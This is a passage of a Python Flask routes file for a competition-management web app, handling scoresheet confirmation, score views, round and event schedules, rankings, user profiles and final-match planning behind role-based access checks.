ds_fl_mteam_code_SP\n try:\n current_room_code = int(request.form.get('current_room_code'))\n current_round_code = int(request.form.get('current_round_code'))\n current_plan_id = int(request.form.get('current_plan_id'))\n current_mpair_id = int(request.form.get('current_mpair_id'))\n\n ds2_opp_dstage_team_P = float(request.form.get(\"2_opp_dstage_team_P\"))\n ds2_rep_dstage_team_P = float(request.form.get(\"2_rep_dstage_team_P\"))\n ds2_opp_dstage_team_AP = float(request.form.get(\"2_opp_dstage_team_AP\"))\n ds2_opp_dstage_team_id = int(request.form.get(\"2_opp_dstage_team_id\"))\n ds2_rep_dstage_team_AP = float(request.form.get(\"2_rep_dstage_team_AP\"))\n ds2_rep_dstage_team_id = int(request.form.get(\"2_rep_dstage_team_id\"))\n\n ds1_opp_dstage_team_P = float(request.form.get(\"1_opp_dstage_team_P\"))\n ds1_rep_dstage_team_P = float(request.form.get(\"1_rep_dstage_team_P\"))\n ds1_opp_dstage_team_AP = float(request.form.get(\"1_opp_dstage_team_AP\"))\n ds1_opp_dstage_team_id = int(request.form.get(\"1_opp_dstage_team_id\"))\n ds1_rep_dstage_team_AP = float(request.form.get(\"1_rep_dstage_team_AP\"))\n ds1_rep_dstage_team_id = int(request.form.get(\"1_rep_dstage_team_id\"))\n\n ds_f1_mteam_code = int(request.form.get(\"ds_f1_mteam_code\"))\n ds_f1_mteam_code_SP = float(request.form.get(\"ds_f1_mteam_code_SP\"))\n ds_f1_mteam_code_fw = int(request.form.get(\"ds_f1_mteam_code_fw\"))\n ds_f2_mteam_code = int(request.form.get(\"ds_f2_mteam_code\"))\n ds_f2_mteam_code_SP = float(request.form.get(\"ds_f2_mteam_code_SP\"))\n ds_f2_mteam_code_fw = int(request.form.get(\"ds_f2_mteam_code_fw\"))\n\n # update two mpair_teams of the current mpair_id: SP and FW=1 or 0\n # winner is the ranking #1 including tie scenario\n # use mteam_code and mpair_id to find mpair_team_id (PK)\n mpair_team_records = [\n (ds_f1_mteam_code, ds_f1_mteam_code_SP, ds_f1_mteam_code_fw),\n (ds_f2_mteam_code, ds_f2_mteam_code_SP, ds_f2_mteam_code_fw)\n ]\n # update four dstage_teams of the current mpair_id: Average Point, Point (POINT_WITH_FACTOR)\n # stage 1: rep and opp, stage 2: rep and opp\n dstage_team_records = [\n (ds1_rep_dstage_team_id, ds1_rep_dstage_team_AP, ds1_rep_dstage_team_P),\n (ds1_opp_dstage_team_id, ds1_opp_dstage_team_AP, ds1_opp_dstage_team_P),\n (ds2_rep_dstage_team_id, ds2_rep_dstage_team_AP, ds2_rep_dstage_team_P),\n (ds2_opp_dstage_team_id, ds2_opp_dstage_team_AP, ds2_opp_dstage_team_P)\n ]\n\n validate_dstage_score(current_plan_id, current_mpair_id, mpair_team_records, dstage_team_records, current_user_id,\n app_db_web_location)\n\n flash_msg = \"Room \" + str(current_room_code) + \" Round \" + str(current_round_code) + \"Scoresheet has been confirmed successfully!\"\n flash(flash_msg, 'success')\n return redirect(url_for('main.sm_mgmt'))\n except:\n flash_msg = \"Scoresheet was not confirmed properly, please double check!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n else:\n flash_msg = \"Scoresheet was not confirmed, please double check!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n else:\n try:\n current_room_code = int(request.form.get('current_room_code'))\n current_round_code = int(request.form.get('current_round_code'))\n current_plan_id = int(request.form.get('current_plan_id'))\n current_mpair_id = int(request.form.get('current_mpair_id'))\n dstage_score_id = int(request.form.get('ds_sc_id'))\n ds_sc_1 = float(request.form.get('ds_sc_1'))\n ds_sc_2 = float(request.form.get('ds_sc_2'))\n ds_sc_3 = float(request.form.get('ds_sc_3'))\n ds_sc_4 = float(request.form.get('ds_sc_4'))\n ds_sc_5 = float(request.form.get('ds_sc_5'))\n except:\n flash_msg = \"Invalid access in post!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n\n # update dstage_score by dstage_score_id\n if dstage_score_id > 0:\n dstage_scores = (round(ds_sc_1 + ds_sc_2 + ds_sc_3 + ds_sc_4 + ds_sc_5, 1), ds_sc_1, ds_sc_2, ds_sc_3, ds_sc_4, ds_sc_5)\n update_dstage_score_by_id(current_plan_id, dstage_score_id, dstage_scores, current_user_id, app_db_web_location)\n\n # get up to date mpair fight status\n sm_room_pairs = get_mpairs_by_room_round(current_plan_id, app_db_web_location)\n sm_current_room_round_pairs = sm_room_pairs[current_room_code - 1][2][\n current_round_code - 1] # (current_room_code, tmp_mroom_label, tmp_round_list)\n current_team_codes = (sm_current_room_round_pairs[1][0][4], sm_current_room_round_pairs[1][1][4])\n\n # get up to date mpair stage problem info\n current_stage_problems = get_mpair_problems_simmple(current_plan_id, current_mpair_id, app_db_web_location)\n # get up to date mpair stage score info\n validation_scores = get_mpair_scores_4validate(current_plan_id, current_mpair_id, current_team_codes, app_db_web_location)\n current_team_codes_SP = validation_scores[1]\n sm_current_pair_scores = validation_scores[0]\n\n else:\n # Process valid GET\n try:\n current_room_code = int(request.args.get('room'))\n current_round_code = int(request.args.get('round'))\n current_plan_id = int(request.args.get('plan'))\n current_mpair_id = int(request.args.get('pair'))\n except:\n flash_msg = \"Invalid access in get!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n\n try:\n current_dstage_score_id = int(request.args.get('dss'))\n except:\n current_dstage_score_id = 0\n\n # get up to date mpair fight status\n sm_room_pairs = get_mpairs_by_room_round(current_plan_id, app_db_web_location)\n sm_current_room_round_pairs = sm_room_pairs[current_room_code - 1][2][\n current_round_code - 1] # (current_room_code, tmp_mroom_label, tmp_round_list)\n current_team_codes = (sm_current_room_round_pairs[1][0][4], sm_current_room_round_pairs[1][1][4])\n\n # get up to date mpair stage problem info\n current_stage_problems = get_mpair_problems_simmple(current_plan_id, current_mpair_id, app_db_web_location)\n # get up to date mpair stage score info\n validation_scores = get_mpair_scores_4validate(current_plan_id, current_mpair_id, current_team_codes, app_db_web_location)\n current_team_codes_SP = validation_scores[1]\n sm_current_pair_scores = validation_scores[0]\n\n # compare who is the winner\n ranked_team_codes_SP = check_ranking2(current_team_codes_SP)\n\n return render_template('main/sm_validate.html', form=form, current_room_code=current_room_code, master_mrooms=master_mrooms,\n current_round_code=current_round_code, master_mteams=master_mteams, current_plan_id=current_plan_id,\n master_mjurors=master_mjurors, sm_current_pair_scores=sm_current_pair_scores, current_mpair_id=current_mpair_id,\n current_team_codes_SP=current_team_codes_SP, current_team_codes=current_team_codes, ranked_team_codes_SP=ranked_team_codes_SP,\n current_stage_problems=current_stage_problems, current_dstage_score_id=current_dstage_score_id)\n\n\n# view mpair score\n@main_blueprint.route('/sm_score_view', methods=['GET', 'POST'])\n@roles_required('data') # Limits access to users with the 'data' role\ndef sm_score_view():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventStageForm(request.form)\n sm_current_pair_scores = None\n\n # Initialize parameters from request and session\n current_room_code = 0\n current_round_code = 0\n current_plan_id = 0\n sm_current_room_round_pairs = None\n master_mteams = None\n master_mrooms = None\n master_mjurors = None\n master_room_mvolunteers = None\n current_stage_code = 0\n stage_agenda = None\n current_pair_assigned_jurors = None\n current_pair_assigned_juror_codes = None\n current_pair_id = 0\n master_problems = None\n opponent_team_members_roles = None\n reporter_team_members_roles = None\n current_team_codes = None\n current_team_codes_SP = None\n current_stage_problems = None\n current_dstage_score_id = 0\n current_mpair_id = 0\n view_type = 0\n try:\n # get master prolbem tables from session\n master_problems = session['master_problems']\n except:\n # search master table of event problems from database\n master_problems= get_event_master_problems(event_id, app_db_web_location)\n\n if request.method == 'POST':\n # Process valid POST\n pass\n else:\n # Process valid GET\n try:\n current_room_code = int(request.args.get('room'))\n current_round_code = int(request.args.get('round'))\n current_plan_id = int(request.args.get('plan'))\n current_mpair_id = int(request.args.get('pair'))\n view_type = int(request.args.get('type'))\n except:\n flash_msg = \"Invalid access in get!\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.sm_mgmt'))\n\n try:\n # get master table from session\n master_mteams = session['master_mteams']\n master_mrooms = session['master_mrooms']\n master_mjurors = session['master_mjurors']\n master_room_mvolunteers = session['master_room_mvolunteers']\n except:\n # first time, save master tables to session\n # (mteam_code, mteam_name, team_info, team_member_list)\n master_mteams = get_mteams(current_plan_id, app_db_web_location)\n # (mroom_code, mroom_label, mroom_info)\n master_mrooms = get_mrooms(current_plan_id, app_db_web_location)\n # (mjuror_code, mjuror_name, mjuror_info, has_cois, juror_cois_list)\n master_mjurors = get_mjurors(current_plan_id, app_db_web_location)\n # (mroom_code, mroom_label, room_volunteers)\n master_room_mvolunteers = get_mvolunteers(current_plan_id, app_db_web_location)\n session['master_mteams'] = master_mteams\n session['master_mrooms'] = master_mrooms\n session['master_mjurors'] = master_mjurors\n session['master_room_mvolunteers'] = master_room_mvolunteers\n\n try:\n current_dstage_score_id = int(request.args.get('dss'))\n except:\n current_dstage_score_id = 0\n\n # get up to date mpair fight status\n sm_room_pairs = get_mpairs_by_room_round(current_plan_id, app_db_web_location)\n sm_current_room_round_pairs = sm_room_pairs[current_room_code - 1][2][\n current_round_code - 1] # (current_room_code, tmp_mroom_label, tmp_round_list)\n current_team_codes = (sm_current_room_round_pairs[1][0][4], sm_current_room_round_pairs[1][1][4])\n\n # get up to date mpair stage problem info\n current_stage_problems = get_mpair_problems_simmple(current_plan_id, current_mpair_id, app_db_web_location)\n # get up to date mpair stage score info\n validation_scores = get_mpair_scores_4validate(current_plan_id, current_mpair_id, current_team_codes, app_db_web_location)\n current_team_codes_SP = validation_scores[1]\n sm_current_pair_scores = validation_scores[0]\n\n # compare who is the winner\n ranked_team_codes_SP = check_ranking2(current_team_codes_SP)\n\n return render_template('main/sm_score_view.html', form=form, view_type=view_type, current_room_code=current_room_code, master_mrooms=master_mrooms,\n current_round_code=current_round_code, master_mteams=master_mteams, current_plan_id=current_plan_id,\n master_mjurors=master_mjurors, sm_current_pair_scores=sm_current_pair_scores, current_mpair_id=current_mpair_id,\n current_team_codes_SP=current_team_codes_SP, current_team_codes=current_team_codes, ranked_team_codes_SP=ranked_team_codes_SP,\n current_stage_problems=current_stage_problems, current_dstage_score_id=current_dstage_score_id)\n\n\n@main_blueprint.route('/round_schedule', methods=['GET', 'POST'])\ndef round_schedule():\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n event_id = current_app.config['CURRENT_EVENT']\n round_code = int(request.args.get('round'))\n active_pan_list = search_event_plan(event_id, \"Active\", 1, app_db_web_location)\n plan_id = 0\n plan_sub_status = 0\n for plan in active_pan_list:\n plan_id = plan[1]\n plan_sub_status = plan[4] # 1-released 2-published\n break\n\n if plan_sub_status > 0:\n round_schedule = get_schedue_by_round_room(plan_id, app_db_web_location)\n if round_schedule is None or len(round_schedule) < 1:\n flash_msg = \"Schedule not available now, please check later.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.home_page'))\n else:\n master_mteams = get_mteams(plan_id, app_db_web_location) # (mteam_code, mteam_name, team_info, team_member_list)\n master_mrooms = get_mrooms(plan_id, app_db_web_location) # (mroom_code, mroom_label, mroom_info)\n round_room_jurors = get_mpair_jurors_by_round_room(plan_id, None, app_db_web_location)\n master_mjurors = get_mjurors(plan_id, app_db_web_location) # (mjuror_code, mjuror_name, mjuror_info, has_cois, juror_cois_list)\n master_room_mvolunteers = get_mvolunteers(plan_id, app_db_web_location) # (mroom_code, mroom_label, room_volunteers)\n\n fm_active_pan_list = search_event_plan(event_id, \"Active\", 2, app_db_web_location)\n fm_plan_id = 0\n fm_plan_sub_status = 0\n fm_schedule = None\n for plan in fm_active_pan_list:\n fm_plan_id = plan[1]\n fm_plan_sub_status = plan[4] # 1-released 2-published\n break\n if fm_plan_id > 0 and fm_plan_sub_status >0:\n # (teams, jurors, mpair, round, room)\n fm_schedule = search_fm_plan(event_id, fm_plan_id, app_db_web_location)\n current_round_schedule = None\n current_round_room_jurors = None\n if round_code < 6:\n current_round_schedule = round_schedule[round_code - 1]\n current_round_room_jurors = round_room_jurors[round_code - 1]\n\n return render_template('main/round_schedule.html', round_schedule=current_round_schedule, master_mjurors=master_mjurors,\n master_room_mvolunteers=master_room_mvolunteers, round_room_jurors=current_round_room_jurors,\n master_mteams=master_mteams, round_code=round_code, master_mrooms=master_mrooms, fm_schedule=fm_schedule)\n else:\n flash_msg = \"Schedule not available now, please check later.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.home_page'))\n\n\n@main_blueprint.route('/event_schedule', methods=['GET', 'POST'])\ndef event_schedule():\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n event_id = current_app.config['CURRENT_EVENT']\n active_pan_list = search_event_plan(event_id, \"Active\", 1, app_db_web_location)\n plan_id = 0\n plan_sub_status = 0\n for plan in active_pan_list:\n plan_id = plan[1]\n plan_sub_status = plan[4] # 1-released 2-published\n break\n tmp_super = False\n try:\n if current_user.has_roles('super'):\n tmp_super = True\n except:\n pass\n\n if plan_sub_status > 0 or tmp_super:\n round_schedule = get_schedue_by_round_room(plan_id, app_db_web_location)\n if round_schedule is None or len(round_schedule) < 1:\n flash_msg = \"Schedule not available now, please check later.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.home_page'))\n else:\n master_mteams = get_mteams(plan_id, app_db_web_location) # (mteam_code, mteam_name, team_info, team_member_list)\n master_mrooms = get_mrooms(plan_id, app_db_web_location) # (mroom_code, mroom_label, mroom_info)\n round_room_jurors = get_mpair_jurors_by_round_room(plan_id, None, app_db_web_location)\n master_mjurors = get_mjurors(plan_id, app_db_web_location) # (mjuror_code, mjuror_name, mjuror_info, has_cois, juror_cois_list)\n master_room_mvolunteers = get_mvolunteers(plan_id, app_db_web_location) # (mroom_code, mroom_label, room_volunteers)\n\n fm_active_pan_list = search_event_plan(event_id, \"Active\", 2, app_db_web_location)\n fm_plan_id = 0\n fm_plan_sub_status = 0\n fm_schedule = None\n for plan in fm_active_pan_list:\n fm_plan_id = plan[1]\n fm_plan_sub_status = plan[4] # 1-released 2-published\n break\n if fm_plan_id > 0 and (fm_plan_sub_status >0 or tmp_super):\n # (teams, jurors, mpair, round, room)\n fm_schedule = search_fm_plan(event_id, fm_plan_id, app_db_web_location)\n\n return render_template('main/event_schedule.html', round_schedule=round_schedule, master_mjurors=master_mjurors,\n master_room_mvolunteers=master_room_mvolunteers, round_room_jurors=round_room_jurors,\n master_mteams=master_mteams, master_mrooms=master_mrooms, fm_schedule=fm_schedule)\n else:\n flash_msg = \"Schedule not available now, please check later.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.home_page'))\n\n\n@main_blueprint.route('/my_schedule', methods=['GET', 'POST'])\n@login_required # Limits access to authenticated users\ndef my_schedule():\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n active_pan_list = search_event_plan(1, \"Active\", 1, app_db_web_location)\n event_id = current_app.config['CURRENT_EVENT']\n current_user_id = current_user.id\n plan_sub_status = 0\n plan_id = 0\n for plan in active_pan_list:\n plan_id = plan[1]\n plan_sub_status = plan[4] # 1-released 2-published\n break\n\n if plan_sub_status > 0:\n try:\n schedule_type = int(request.args.get('type')) # 1-team, 2-team member, 3-juror, 4-volunteer\n team_schedules = None\n juror_schedule = None\n volunteer_schedule = None\n round_schedule = None\n if schedule_type == 1 or schedule_type == 2 or schedule_type == 13:\n team_schedules = get_my_team_schedue(event_id, plan_id, current_user_id, schedule_type, app_db_web_location)\n round_schedule = get_schedue_by_round_room(plan_id, app_db_web_location)\n if schedule_type == 3 or schedule_type == 13:\n juror_schedule = get_juror_schedue(event_id, plan_id, current_user_id, app_db_web_location)\n if schedule_type == 4:\n volunteer_schedule = get_volunteer_schedue(event_id, plan_id, current_user_id, app_db_web_location)\n master_mteams = get_mteams(plan_id,\n app_db_web_location) # (mteam_code, mteam_name, team_info, team_member_list)\n master_mrooms = get_mrooms(plan_id, app_db_web_location) # (mroom_code, mroom_label, mroom_info)\n round_room_jurors = get_mpair_jurors_by_round_room(plan_id, None, app_db_web_location)\n master_mjurors = get_mjurors(plan_id,\n app_db_web_location) # (mjuror_code, mjuror_name, mjuror_info, has_cois, juror_cois_list)\n master_room_mvolunteers = get_mvolunteers(plan_id,\n app_db_web_location) # (mroom_code, mroom_label, room_volunteers)\n\n return render_template('main/my_schedule.html', schedule_type=schedule_type, team_schedules=team_schedules,\n juror_schedule=juror_schedule, volunteer_schedule=volunteer_schedule, round_schedule=round_schedule,\n master_mjurors=master_mjurors, master_room_mvolunteers=master_room_mvolunteers,\n round_room_jurors=round_room_jurors, master_mteams=master_mteams, master_mrooms=master_mrooms)\n except:\n flash_msg = \"Invalid access.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.member_page'))\n else:\n flash_msg = \"Schedule coming soon.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.member_page'))\n\n\n@main_blueprint.route('/publish', methods=['GET', 'POST'])\n@roles_required('super') # Limits access to users with 'super' role\ndef admin_publish():\n # Retrieve database settings from app.config\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n\n current_user_id = current_user.id\n event_id = current_app.config['CURRENT_EVENT']\n\n # Initialize form\n form = EventPlanForm(request.form)\n\n # Process valid POST\n if request.method == 'POST':\n try:\n plan_id = int(request.form.get(\"plan_id\"))\n plan_sub_status = int(request.form.get(\"plan_sub_status\"))\n update_plan_sub_status_by_id(plan_id, plan_sub_status, current_user_id, app_db_web_location)\n except:\n flash_msg = \"Plan Status Update failed, please re-try.\"\n flash(flash_msg, 'error')\n\n # get plan from database\n plan_status = \"Active\"\n sm_plan_id = 0\n sm_plan_sub_status = 0\n fm_plan_id = 0\n fm_plan_sub_status = 0\n active_sm_plan_list = search_event_plan(event_id, plan_status, 1, app_db_web_location)\n if active_sm_plan_list is not None and len(active_sm_plan_list) > 0:\n # plan has already been activated, changes to the plan are NOT allowed\n for plan in active_sm_plan_list:\n sm_plan_id = plan[1]\n sm_plan_sub_status = plan[4] # 1-released 2-published\n break\n\n if sm_plan_sub_status > 0:\n active_fm_plan_list = search_event_plan(event_id, plan_status, 2, app_db_web_location)\n for plan in active_fm_plan_list:\n fm_plan_id = plan[1]\n fm_plan_sub_status = plan[4] # 1-released 2-published\n break\n\n return render_template('main/admin_publish.html', form=form, plan_status=plan_status,\n sm_plan_sub_status=sm_plan_sub_status, sm_plan_id=sm_plan_id,\n fm_plan_sub_status=fm_plan_sub_status, fm_plan_id=fm_plan_id)\n\n flash_msg = \"Plan is not ready yet.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_mgmt'))\n\n\n@main_blueprint.route('/sm_dashboard', methods=['GET', 'POST'])\n@roles_required('super') # Limits access to users with 'super' role\ndef sm_dashboard():\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n event_id = current_app.config['CURRENT_EVENT']\n\n try:\n sm_plan_id = int(request.args.get(\"plan_id\"))\n sm_plan_sub_status = int(request.args.get(\"plan_sub_status\"))\n sm_round_schedule = get_schedue_by_round_room(sm_plan_id, app_db_web_location)\n # (mteam_code, mteam_name, team_info, team_member_list)\n master_mteams = get_mteams(sm_plan_id, app_db_web_location)\n # (mroom_code, mroom_label, mroom_info)\n master_mrooms = get_mrooms(sm_plan_id, app_db_web_location)\n round_room_jurors = get_mpair_jurors_by_round_room(sm_plan_id, None, app_db_web_location)\n # (mjuror_code, mjuror_name, mjuror_info, has_cois, juror_cois_list)\n master_mjurors = get_mjurors(sm_plan_id, app_db_web_location)\n # (mroom_code, mroom_label, room_volunteers)\n master_room_mvolunteers = get_mvolunteers(sm_plan_id, app_db_web_location)\n\n return render_template('main/sm_dashboard.html', round_schedule=sm_round_schedule, master_mjurors=master_mjurors,\n master_room_mvolunteers=master_room_mvolunteers, round_room_jurors=round_room_jurors,\n master_mteams=master_mteams, master_mrooms=master_mrooms, plan_id=sm_plan_id)\n except:\n flash_msg = \"Invalid access.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_publish'))\n\n\n@main_blueprint.route('/rank', methods=['GET', 'POST'])\ndef event_rank():\n return redirect(url_for('main.rank_final'))\n\n\n@main_blueprint.route('/rank_final', methods=['GET', 'POST'])\ndef rank_final():\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n event_id = current_app.config['CURRENT_EVENT']\n plan_status = \"Active\"\n active_sm_plan_list = search_event_plan(event_id, plan_status, 1, app_db_web_location)\n active_fm_plan_list = search_event_plan(event_id, plan_status, 2, app_db_web_location)\n sm_plan_id = 0\n sm_plan_sub_status = 0\n for plan in active_sm_plan_list:\n sm_plan_id = plan[1]\n sm_plan_sub_status = plan[4] # 1-released 2-published\n break\n\n if sm_plan_sub_status > 0:\n fm_plan_sub_status = 0\n fm_plan_id = 0\n for plan in active_fm_plan_list:\n fm_plan_id = plan[1]\n fm_plan_sub_status = plan[4] # 1-released 2-published\n break\n if fm_plan_sub_status > 0:\n # check if final_match validated\n fm_status = check_fm_status(fm_plan_id, app_db_web_location)\n if fm_status is not None:\n print(\"***___ fm_status \", fm_status)\n # (mteam_code, mteam_name, team_info, team_member_list)\n master_mteams = get_mteams(sm_plan_id, app_db_web_location)\n fm_team_rank = fm_status[1]\n return render_template('main/event_rank_final.html', fm_plan_sub_status=fm_plan_sub_status,\n master_mteams=master_mteams, fm_team_rank=fm_team_rank)\n # redirect to team ranking by round if final match score is not ready\n return redirect(url_for('main.rank_round'))\n else:\n flash_msg = \"Ranking is coming soon.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.home_page'))\n\n\n@main_blueprint.route('/rank_round', methods=['GET', 'POST'])\ndef rank_round():\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n event_id = current_app.config['CURRENT_EVENT']\n plan_status = \"Active\"\n active_sm_plan_list = search_event_plan(event_id, plan_status, 1, app_db_web_location)\n active_fm_plan_list = search_event_plan(event_id, plan_status, 2, app_db_web_location)\n sm_plan_id = 0\n sm_plan_sub_status = 0\n for plan in active_sm_plan_list:\n sm_plan_id = plan[1]\n sm_plan_sub_status = plan[4] # 1-released 2-published\n break\n\n if sm_plan_sub_status > 0:\n fm_plan_sub_status = 0\n for plan in active_fm_plan_list:\n fm_plan_id = plan[1]\n fm_plan_sub_status = plan[4] # 1-released 2-published\n break\n # (mteam_code, mteam_name, team_info, team_member_list)\n master_mteams = get_mteams(sm_plan_id, app_db_web_location)\n sm_team_rank = get_sm_team_rank_by_round(sm_plan_id, app_db_web_location)\n return render_template('main/event_rank_round.html', fm_plan_sub_status=fm_plan_sub_status,\n master_mteams=master_mteams, sm_team_rank=sm_team_rank)\n else:\n flash_msg = \"Ranking is coming soon.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.home_page'))\n\n\n@main_blueprint.route('/event_rank_member', methods=['GET', 'POST'])\ndef event_rank_member():\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n event_id = current_app.config['CURRENT_EVENT']\n plan_status = \"Active\"\n active_sm_plan_list = search_event_plan(event_id, plan_status, 1, app_db_web_location)\n active_fm_plan_list = search_event_plan(event_id, plan_status, 2, app_db_web_location)\n sm_plan_id = 0\n sm_plan_sub_status = 0\n for plan in active_sm_plan_list:\n sm_plan_id = plan[1]\n sm_plan_sub_status = plan[4] # 1-released 2-published\n break\n\n if sm_plan_sub_status > 0:\n fm_plan_sub_status = 0\n for plan in active_fm_plan_list:\n fm_plan_id = plan[1]\n fm_plan_sub_status = plan[4] # 1-released 2-published\n break\n # (mteam_code, mteam_name, team_info, team_member_list)\n master_mteams = get_mteams(sm_plan_id, app_db_web_location)\n sm_member_rank = get_sm_member_rank_by_round(sm_plan_id, app_db_web_location)\n return render_template('main/event_rank_member.html', fm_plan_sub_status=fm_plan_sub_status,\n master_mteams=master_mteams, sm_member_rank=sm_member_rank)\n else:\n flash_msg = \"Ranking is coming soon.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.home_page'))\n\n\n@main_blueprint.route('/main/profile', methods=['GET', 'POST'])\n@login_required\ndef user_profile_page():\n # Initialize form\n form = UserProfileForm(request.form, obj=current_user)\n\n # Process valid POST\n if request.method == 'POST' and form.validate():\n # Copy form fields to user_profile fields\n form.populate_obj(current_user)\n\n # Save user_profile\n db.session.commit()\n\n # Redirect to home page\n return redirect(url_for('main.home_page'))\n\n # Process GET or invalid POST\n return render_template('main/user_profile_page.html',\n form=form)\n\n\n@main_blueprint.route('/fm_planning', methods=['GET', 'POST'])\n@roles_required('super') # Limits access to users with 'super' role\ndef fm_planning():\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n event_id = current_app.config['CURRENT_EVENT']\n current_user_id = current_user.id\n\n # Initialize form\n form = EventFinalPlanForm(request.form)\n\n # Process valid POST\n if request.method == 'POST':\n #get parameters:\n # hidden fields\n sm_plan_id = int(request.form.get(\"sm_plan_id\"))\n fm_round_id = int(request.form.get(\"fm_round_id\"))\n fm_round_code = int(request.form.get(\"fm_round_code\"))\n # list of fm teams\n fm_teams = request.form.getlist(\"fm_teams\")\n # selected room\n fm_room_id = int(request.form.get(\"fm_room\"))\n # selected jurors\n jury = request.form.getlist(\"jury\")\n print(fm_teams, fm_room_id, jury, len(fm_teams), len(jury))\n if fm_teams is not None and fm_room_id > 0 and jury is not None and len(fm_teams)==3 and len(jury) > 4:\n selected_fm_teams = list()\n for row in fm_teams:\n tmp_mteam_id = row.split(\"--\", 2)[0]\n tmp_mteam_code = row.split(\"--\", 2)[1]\n tmp_mteam_school_id = row.split(\"--\", 2)[2]\n selected_fm_teams.append((tmp_mteam_id, tmp_mteam_code, tmp_mteam_school_id))\n selected_fm_jury = list()\n for row in jury:\n tmp_mjuror_id = row.split(\"--\", 1)[0]\n tmp_mjuror_code = row.split(\"--\", 1)[1]\n selected_fm_jury.append((tmp_mjuror_id, tmp_mjuror_code))\n\n db_save_fm_proposal(event_id, fm_round_id, fm_room_id, selected_fm_jury, selected_fm_teams, current_user_id, app_db_web_location)\n flash_msg = \"Final Match Plan has been created successfully\"\n flash(flash_msg, 'success')\n return redirect(url_for('main.admin_mgmt'))\n else:\n flash_msg = \"Final Match Plan can't be created, please select the right data.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_mgmt'))\n else:\n plan_status = \"Active\"\n active_sm_plan_list = search_event_plan(event_id, plan_status, 1, app_db_web_location)\n active_fm_plan_list = search_event_plan(event_id, plan_status, 2, app_db_web_location)\n sm_plan_id = 0\n sm_plan_sub_status = 0\n fm_round = 0\n for plan in active_sm_plan_list:\n sm_plan_id = plan[1]\n sm_plan_sub_status = plan[4] # 1-released 2-published\n break\n\n if sm_plan_sub_status > 0:\n fm_plan_sub_status = 0\n fm_plan_status = None\n for plan in active_fm_plan_list:\n fm_plan_id = plan[1]\n fm_plan_status = plan[2]\n fm_plan_sub_status = plan[4] # 1-released 2-published\n break\n #get initial data\n # (mroom_code, mroom_label, mroom_info)\n master_mrooms = get_mrooms(sm_plan_id, app_db_web_location)\n # (mteam_code, mteam_name, team_info, team_member_list)\n master_mteams = get_mteams(sm_plan_id, app_db_web_location)\n # (mjuror_code, mjuror_name, mjuror_info, has_cois, juror_cois_list)\n master_mjurors = get_mjurors(sm_plan_id, app_db_web_location)\n # (mroom_code, mroom_label, room_volunteers)\n master_room_mvolunteers = get_mvolunteers(sm_plan_id, app_db_web_location)\n # get up to date selective match team ranking\n sm_team_rank = get_sm_team_rank(sm_plan_id, app_db_web_location)\n\n if fm_plan_status is not None and fm_plan_status == \"Active\":\n # final plan already active, display the plan\n flash_msg = \"Final match plan has been activated, you can't create new one.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_mgmt'))\n else:\n # final plan dosen't active or doesn't exist, start the final plan\n # get event_id and code for final match\n fm_round = search_fm_round(event_id, app_db_web_location)\n if fm_round is not None:\n pass\n else:\n flash_msg = \"Final match round is not setup yet, please contact system administrator.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_mgmt'))\n\n return render_template('main/admin_fm_planning.html', form=form, fm_plan_sub_status=fm_plan_sub_status,\n sm_plan_id=sm_plan_id, master_mrooms=master_mrooms,\n master_mteams=master_mteams, sm_team_rank=sm_team_rank, fm_round=fm_round,\n master_mjurors=master_mjurors, master_room_mvolunteers=master_room_mvolunteers)\n else:\n flash_msg = \"Selective plan is not released yet, you can't start the final match planning.\"\n flash(flash_msg, 'error')\n return redirect(url_for('main.admin_mgmt'))\n\n\n@main_blueprint.route('/fm_plan_view', methods=['GET', 'POST'])\n@roles_required('super') # Limits access to users with 'super' role\ndef fm_plan_view():\n app_db_web_location = current_app.config['SQLALCHEMY_DATABASE_URI_LOCAL']\n event_id = current_app.config['CURRENT_EVENT']\n current_user_id = current_user.id\n\n # Initialize form\n form = EventFinalPlanForm(request.form)\n fm_plan_id = int(request.args.get('plan_id'))\n\n # Process valid POST\n if request.method == 'POST':\n deactivate = request.form.get(\"deactivate\")\n release = request.form.get(\"release\")\n if deactivate == \"Deactivate\":\n # De-Activate Plan (change status to proposed)\n update_plan_status(fm_plan_id, \"Proposed\", current_user.id, app_db_web_location)\n flash_msg = \"Proposed plan has been deactivated.\"\n elif release == \"Release\":\n # Release Plan (change sub status to Released), plan is forzen, no more change allowed\n # get all volunteers\n release_sm_plan(fm_plan_id, 1, current_user.id, app_db_web_location)\n flash_msg = \"Proposed plan has been released.\"\n else:\n update_plan_status(fm_plan_id, \"Active\", current_user.id, app_db_web_location)\n flash_msg = \"Proposed plan has been activated successfully. Participants can't be 